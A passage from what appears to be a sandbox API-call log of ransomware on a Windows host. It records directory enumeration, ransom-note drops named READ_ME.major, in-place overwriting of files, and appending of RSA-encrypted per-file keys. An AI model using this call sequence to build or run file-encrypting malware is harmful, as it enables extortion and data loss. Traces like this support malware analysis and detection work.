ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x32101b77, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0207.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0207.374] GetLastError () returned 0x0 [0207.374] GetLastError () returned 0x0 [0207.374] GetLastError () returned 0x0 [0207.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bec08 | out: hHeap=0x570000) returned 1 [0207.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2d5d8 | out: hHeap=0x570000) returned 1 [0207.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40450 | out: hHeap=0x570000) returned 1 [0207.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9ec0 | out: hHeap=0x570000) returned 1 [0207.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0207.374] FindNextFileW (in: hFindFile=0x2f2d758, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32101b77, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32101b77, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32127cb7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.375] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0207.375] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0207.375] GetLastError () returned 0x0 [0207.375] GetLastError () returned 0x0 [0207.375] FindNextFileW (in: hFindFile=0x2f2d758, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32101b77, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32101b77, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32127cb7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.375] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x32174171, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d498 [0207.375] FindNextFileW (in: hFindFile=0x2f2d498, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x32174171, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.375] FindNextFileW (in: hFindFile=0x2f2d498, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32174171, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32174171, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32174171, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.375] FindNextFileW (in: hFindFile=0x2f2d498, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="sonar_policy.xml", cAlternateFileName="SONAR_~1.XML")) returned 1 [0207.375] FindNextFileW (in: hFindFile=0x2f2d498, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="sonar_policy.xml", cAlternateFileName="SONAR_~1.XML")) returned 0 [0207.375] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0207.375] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml", dwFileAttributes=0x80) returned 1 [0207.547] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1520 [0207.548] GetFileSizeEx (in: hFile=0x1520, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18761) returned 1 [0207.548] ReadFile (in: hFile=0x1520, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x4949, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4949, lpOverlapped=0x0) returned 1 [0207.666] SetFilePointer (in: hFile=0x1520, lDistanceToMove=-18761, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0207.666] WriteFile (in: hFile=0x1520, lpBuffer=0x328b008*, nNumberOfBytesToWrite=0x4949, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x328b008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4949, lpOverlapped=0x0) returned 1 [0207.666] SetFilePointer (in: hFile=0x1520, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4949 [0207.666] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.666] WriteFile (in: hFile=0x1520, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.666] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0207.666] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0207.666] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0207.667] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="IdWoD6j/4OQ+z+5woLnWBC7gBsDTDhXbNrtJDclWmYdGiGDSn96kpIqk2MKbDltp\nZmqynmFf3KR8YGwxrrJRaGSh0kbaZL2IbCKJj/WuWmww3vVhvuSIeKKtabAwukjr\nGA+ISN0sL2FxiTJbTXhUptHz8IIp7/d3FXApTkKE9KaA9otQ7LJNtw9uS5c8Yjme\nqDWn6fGjzWxOv8nkzASPd0wGADDdcZ8KmCx/ZhMHnzqR6DuI1LH94O+Mp5fHbwAl\nIB3SOuiKP2UN1zK4DfRUqQu3hOaL/EyVvlPasToSQ8GC38zCSp1vTx0HB3BTtZ41\nJ1fStIAKZmthI+jqC+VTMg==\n", pcchString=0x2e3f9a8) returned 1 [0207.667] WriteFile (in: hFile=0x1520, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0207.667] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.667] WriteFile (in: hFile=0x1520, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.667] CloseHandle (hObject=0x1520) returned 1 [0207.674] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x32174171, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d258 [0207.674] FindNextFileW (in: hFindFile=0x2f2d258, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x32174171, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.674] FindNextFileW (in: hFindFile=0x2f2d258, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32174171, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32174171, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32174171, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.674] FindNextFileW (in: hFindFile=0x2f2d258, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="XCVUDUNH", cAlternateFileName="")) returned 1 [0207.674] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\xcvudunh\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1524 [0207.675] WriteFile (in: hFile=0x1524, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.676] CloseHandle (hObject=0x1524) returned 1 [0207.676] FindNextFileW (in: hFindFile=0x2f2d258, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="XCVUDUNH", cAlternateFileName="")) returned 0 [0207.677] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x32174171, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d698 [0207.677] FindNextFileW (in: hFindFile=0x2f2d698, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x32174171, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.677] FindNextFileW (in: hFindFile=0x2f2d698, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32174171, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32174171, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32174171, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.677] FindNextFileW (in: hFindFile=0x2f2d698, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="support", cAlternateFileName="")) returned 1 [0207.677] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1528 [0207.678] WriteFile (in: hFile=0x1528, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.679] CloseHandle (hObject=0x1528) returned 1 [0207.679] FindNextFileW (in: hFindFile=0x2f2d698, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="support", cAlternateFileName="")) returned 0 [0207.679] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3219a487, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d418 [0207.679] FindNextFileW (in: hFindFile=0x2f2d418, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3219a487, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.679] FindNextFileW (in: hFindFile=0x2f2d418, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="events", cAlternateFileName="")) returned 1 [0207.679] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\crash reports\\events\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x152c [0207.681] WriteFile (in: hFile=0x152c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.681] CloseHandle (hObject=0x152c) returned 1 [0207.682] FindNextFileW (in: hFindFile=0x2f2d418, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="InstallTime20170824053622", cAlternateFileName="INSTAL~1")) returned 1 [0207.682] FindNextFileW (in: hFindFile=0x2f2d418, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32174171, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32174171, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3219a487, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.682] FindNextFileW (in: hFindFile=0x2f2d418, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32174171, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32174171, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3219a487, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.682] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0207.682] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622", dwFileAttributes=0x80) returned 1 [0207.682] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20170824053622"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x152c [0207.683] GetFileSizeEx (in: hFile=0x152c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=10) returned 1 [0207.683] ReadFile (in: hFile=0x152c, lpBuffer=0x2e40528, nNumberOfBytesToRead=0xa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40528*, lpNumberOfBytesRead=0x2e3f9b4*=0xa, lpOverlapped=0x0) returned 1 [0207.684] SetFilePointer (in: hFile=0x152c, lDistanceToMove=-10, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0207.684] WriteFile (in: hFile=0x152c, lpBuffer=0x2e404f8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e404f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa, lpOverlapped=0x0) returned 1 [0207.684] SetFilePointer (in: hFile=0x152c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa [0207.684] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.684] WriteFile (in: hFile=0x152c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.684] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0207.684] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0207.685] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0207.685] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ZGpHipaL5ZBQ3i/IHaqWMa6RfutrGrAMYS9dkhSCeI2zBgqc990O8d3qy8jVt7Ax\n1gkO1cx7nu82ESr4xSZUeIfmT+0GM4ZO6RBTBTve5v2KVgEVa3gfvmul3J8Qb5Xr\nhBz2oqfYLTA7BW1ZS/t1I/BMiaoWG8bGATXzkitvB0LFFT+75RjvBIUjNv9de4ls\nAmjO/Wcb2kLCiMrcD/b8YZi+xA8tgPBgOj/6T0OnV7ON6Y7DqvisAofH7CQRvhW1\nrRy+paaCCyNBai2r+FoZwpzbehJvzHzXTkPg/jkyhRJFiHe1VCey1f/ESIU5enKb\nx7WpBh22nKu43lXAuRVQIw==\n", pcchString=0x2e3f9a8) returned 1 [0207.685] WriteFile (in: hFile=0x152c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0207.685] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.685] WriteFile (in: hFile=0x152c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.685] CloseHandle (hObject=0x152c) returned 1 [0207.687] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3219a487, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d798 [0207.687] FindNextFileW (in: hFindFile=0x2f2d798, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, 